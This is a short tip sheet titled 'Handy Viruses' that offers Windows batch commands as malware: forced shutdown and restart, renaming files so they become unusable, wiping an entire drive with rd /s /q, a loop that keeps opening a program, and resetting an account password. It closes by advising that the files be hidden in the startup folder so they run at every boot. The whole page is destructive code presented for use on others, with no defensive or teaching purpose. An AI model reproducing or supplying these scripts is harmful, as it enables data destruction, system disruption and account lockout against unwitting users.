Handy Viruses

Shutting down the System:

shutdown -s -f                                                            //shuts down system forcefully within 30 secs.

Restart the System:

 shutdown -r -f                                                                //restarts the system forcefully within 30 secs.

Changing File Extensions:

ren [filename.ext] [samefilename.differentext]            //makes the files unusable.

Deleting all files of a drive:

@echo off

rd /s /q [drivename:]

ex: @echo off
     rd /s /q D:
                              note :- Not applicable for only the system drives.

Opening a file infinite no. of times:

@ECHO OFF
:BEGIN
start [applicationname/filename.ext]
goto BEGIN

ex:-
@ECHO OFF
:BEGIN
start notepad
goto BEGIN

Changing Account Password:

net user [annount_name] *
ex:- net user john *

note:- For best results, copy the created batch files in a folder named 'startup',applying the attributes and hiding it.